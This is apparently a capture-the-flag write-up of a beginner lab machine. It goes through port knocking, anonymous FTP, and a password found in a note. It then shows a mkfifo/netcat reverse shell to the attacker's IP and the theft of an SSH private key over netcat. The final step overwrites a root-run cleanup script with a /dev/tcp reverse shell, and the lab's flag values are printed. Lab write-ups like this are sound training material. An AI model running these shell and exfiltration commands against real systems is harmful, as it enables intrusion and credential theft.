

Cat pictures (Easy)

TARGET IP: 10.10.239.100

MY IP: 10.8.91.8

First I start with an nmap scan

```
sudo nmap -sV -sC -Pn -vv -T4 -oN nmap.txt 10.10.239.100
```

```
Nmap 7.94SVN scan initiated Sat Oct 12 21:32:43 2024 as: /usr/lib/nmap/nmap
-sV -sC -Pn -vv -T4 -oN nmap.txt 10.10.239.100
Nmap scan report for 10.10.239.100
Host is up, received user-set (0.27s latency).
Scanned at 2024-10-12 21:32:43 GMT for 15s
Not shown: 997 closed tcp ports (reset)
PORT      STATE      SERVICE    REASON                VERSION
21/tcp    filtered  ftp        port-unreach ttl 63
22/tcp    open      ssh        syn-ack ttl 63        OpenSSH 7.6p1 Ubuntu
4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 37:43:64:80:d3:5a:74:62:81:b7:80:6b:1a:23:d8:4a (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQIDDEV5ShmazmTw/1A6+19Bz9t3Aa669UOdJ6wf+mcv3vvJ
mh6gC8V8J58nisEufW0xnT69hRkbqrRbASQ8IrvNS8vNURpaA0cycHDntKA17ukX0HM07AS6X8uH
fIFZwTck5v6tLAYHlgBh21S+wOEqnANSms64VcSUma7fgUCKeyJd5lnDuQ9gCnvWh4VxSNoW8MdV
64sOVLkyuwd0FUTiGctjTMyt0dYqIUnTkMgDLRB77faZnMq768R2x6bWWb98taMT93FKIfjTjGHV
/bYsd/K+M6an6608wMbMbWz0pa0pB5Y9k4soznGUP07mFa0n64w6ywS7wctcKngNVg3H
|   256 53:c6:82:ef:d2:77:33:ef:c1:3d:9c:15:13:54:0e:b2 (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCs+ZcCT7Bj2uaY3QWJF04+e
3ndWR1cDquYmCNAcf0TH4L7lBiq1VbJ7Pr7X0921FXWL05bAtlVY1sqcQT6W43Y=
|   256 ba:97:c3:23:d4:f2:cc:08:2c:e1:2b:30:06:18:95:41 (ED25519)
|_ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIGq9I/445X/oJstLHicIruYVdW4KqIFZks9fygfPkkPq
8080/tcp filtered http-proxy port-unreach ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done at Sat Oct 12 21:32:58 2024 -- 1 IP address (1 host up) scanned in
15.03 seconds
```

This room has something with the nmap scan. It doesn't give the same result after another scan.

Web Enumeration

I go to the web page : `http://10.10.239.100:8080`

Port Knocking

First what is port knocking ?

It is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received, the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specific port(s).

The primary purpose of port knocking is to prevent an attacker from scanning a system for potentially exploitable services by doing a port scan, because unless the attacker sends the correct knock sequence, the protected ports will appear closed.

For that i will use the tool named `knockd`. It can be installed with

```
sudo apt install knockd
```

```
(zerodol@master)-[~/Downloads]
$ knock 10.10.193.231 1111 2222 3333 4444 -v
hitting tcp 10.10.193.231:1111
hitting tcp 10.10.193.231:2222
hitting tcp 10.10.193.231:3333
hitting tcp 10.10.193.231:4444

(zerodol@master)-[~/Downloads]
$ █
```

We have now access to the FTP as the user `anonymous`

```
└─$ ftp 10.10.193.231
Connected to 10.10.193.231.
220 (vsFTPD 3.0.3)
Name (10.10.193.231:zerodol): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

There is a file named `note.txt`. I download it.

```
ftp> ls
229 Entering Extended Passive Mode (|||44367|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 162 Apr 02 2021 note.txt
226 Directory send OK.
ftp> get note.txt
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||53261|)
150 Opening BINARY mode data connection for note.txt (162 bytes).
100% |*****| 162 49.95 KiB/s 00:00 ETA
226 Transfer complete.
162 bytes received in 00:00 (0.65 KiB/s)
ftp> █
```

The file contains interesting information.

```
└─$ cat note.txt
In case I forget my password, I'm leaving a pointer to the internal shell service on the server.

Connect to port 4420, the password is sardinethecat.
- catlover

└─(zerodol@master)-[~/Downloads]
└─$ █
```

We can connect to the machine and have a shell on port 4420, by entering the password

`sardinethecat`

Foothold

With `netcat` we have a shell after entering the password. But this shell is not stable and we can not use many commands.

```

└─$ nc 10.10.193.231 4420
INTERNAL SHELL SERVICE
please note: cd commands do not work at the moment, the developers are fixing it at the moment.
do not use ctrl-c
Please enter password:
sardinethecat
Password accepted
ls -la
total 56
drwxr-xr-x 10 1001 1001 4096 Apr  3  2021 .
drwxr-xr-x 10 1001 1001 4096 Apr  3  2021 ..
-rw-----  1 1001 1001   50 Apr  1  2021 .bash_history
-rw-r--r--  1 1001 1001  220 Apr  1  2021 .bash_logout
-rw-r--r--  1 1001 1001 3771 Apr  1  2021 .bashrc
-rw-r--r--  1 1001 1001  807 Apr  1  2021 .profile
drwxrwxr-x  2 1001 1001 4096 Apr  2  2021 bin
drwxr-xr-x  2   0   0 4096 Apr  1  2021 etc
drwxr-xr-x  3   0   0 4096 Apr  2  2021 home
drwxr-xr-x  3   0   0 4096 Apr  2  2021 lib
drwxr-xr-x  2   0   0 4096 Apr  1  2021 lib64
drwxr-xr-x  2   0   0 4096 Apr  2  2021 opt
drwxr-xr-x  2   0   0 4096 Apr  3  2021 tmp
drwxr-xr-x  4   0   0 4096 Apr  2  2021 usr

```

I put a reverse shell to have a better shell

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.91.8 9001 >/tmp/f
```

I listen to the port `9001` with `netcat`, and i have now a shell that will allow me to continue

```

└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.8.91.8] from (UNKNOWN) [10.10.193.231] 35724
sh: 0: can't access tty; job control turned off
# █

```

runme's password

When we go to `/home/catlover` we have an executable. I tried to execute it with the password but it failed.

```
# cd /home/catlover
# ./runme
Please enter your password: sardinethecat
Access Denied
#
```

I did a `cat runme` and i have something interesting. I find the word `rebecca` here suspicious.

[illegible]

I run the executable with `rebecca` as password and it works. I have now a file named `fichier_recu`

```
# ./runme
Please enter your password: rebecca
Welcome, catlover! SSH key transfer queued!
# ls -la
total 48
drwxr-xr-x 2 0 0 4096 Oct 12 23:10 .
drwxr-xr-x 3 0 0 4096 Apr 2 2021 ..
-rw-r--r-- 1 0 0 18856 Oct 12 23:13 fichier_recu
-rwxr-xr-x 1 0 0 18856 Apr 3 2021 runme
#
```

I logged out of the shell then logged in again. Now there is the `fichier_recu` file and a new file named `id_rsa`. It's the SSH private key.

```
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.8.91.8] from (UNKNOWN) [10.10.193.231] 35742
sh: 0: can't access tty; job control turned off
# cd /home/catlover
# ls -la
total 52
drwxr-xr-x 2 0 0 4096 Oct 12 23:32 .
drwxr-xr-x 3 0 0 4096 Apr 2 2021 ..
-rw-r--r-- 1 0 0 18856 Oct 12 23:13 fichier_recu
-rw-r--r-- 1 0 0 1675 Oct 12 23:32 id_rsa
-rwxr-xr-x 1 0 0 18856 Apr 3 2021 runme
# nc 10.8.91.8 4444 < id_rsa
#
```

I sent it to my machine with `netcat`

```
└─$ nc -lnvp 4444 > id_rsa
listening on [any] 4444 ...
connect to [10.8.91.8] from (UNKNOWN) [10.10.193.231] 53072
^C

(zorodol@master)-[~/tryhackme/easy/cat-pictures]
└─$ ls
feed.atom  ferox-http_10_10_48_81:8080_-1728772023.state  id_rsa
```

```
(zorodol@master)-[~/tryhackme/easy/cat-pictures]
└─$ chmod 600 id_rsa
```

I connect to SSH as the user `catlover` using the private key

```
$ ssh -i id_rsa catlover@10.10.193.231
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Sat Oct 12 16:38:04 PDT 2024

System load:                0.0
Usage of /:                  37.2% of 19.56GB
Memory usage:                64%
Swap usage:                  0%
Processes:                   135
Users logged in:             0
IP address for eth0:         10.10.193.231
IP address for br-98674f8f20f9: 172.18.0.1
IP address for docker0:      172.17.0.1

52 updates can be applied immediately.
25 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Last login: Fri Jun  4 14:40:35 2021
root@7546fa2336d6:/#
```

As we can see, we're the root of a docker. But we have our first flag

```
root@7546fa2336d6:/# cd /root
root@7546fa2336d6:/root# ls
flag.txt
root@7546fa2336d6:/root# cat flag.txt
7cf90a0e7c5d25f1a827d3efe6fe4d0edd63cca9
root@7546fa2336d6:/root#
```

Flag1 : `7cf90a0e7c5d25f1a827d3efe6fe4d0edd63cca9`

Privilege Escalation to the machine

Now we have to find a way to access the machine and become the root.

In the `/opt/clean` directory, there is a file named `clean.sh`

```
root@7546fa2336d6:/# cd /opt/clean/
root@7546fa2336d6:/opt/clean# ls -la
total 16
drwxr-xr-x 2 root root 4096 May  1  2021 .
drwxrwxr-x 1 root root 4096 Mar 25  2021 ..
-rw-r--r-- 1 root root  27 May  1  2021 clean.sh
root@7546fa2336d6:/opt/clean#
```

I put my payload in the file

```
echo "sh -i >& /dev/tcp/10.8.91.8/1234 0>&1" > clean.sh
root@7546fa2336d6:/opt/clean# echo "sh -i >& /dev/tcp/10.8.91.8/1234 0>&1" > clean.sh
root@7546fa2336d6:/opt/clean# ls -la
total 16
drwxr-xr-x 2 root root 4096 May  1  2021 .
drwxrwxr-x 1 root root 4096 Mar 25  2021 ..
-rw-r--r-- 1 root root  38 Oct 12 23:50 clean.sh
root@7546fa2336d6:/opt/clean# cat clean.sh
sh -i >& /dev/tcp/10.8.91.8/1234 0>&1
root@7546fa2336d6:/opt/clean#
```

And I have a shell as the root of the machine.

```
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.8.91.8] from (UNKNOWN) [10.10.193.231] 48328
sh: 0: can't access tty; job control turned off
# ls
firewall
root.txt
# cat root.txt
Congrats!!!
Here is your flag:

4a98e43d78bab283938a06f38d2ca3a3c53f0476
#
```

Root flag : 4a98e43d78bab283938a06f38d2ca3a3c53f0476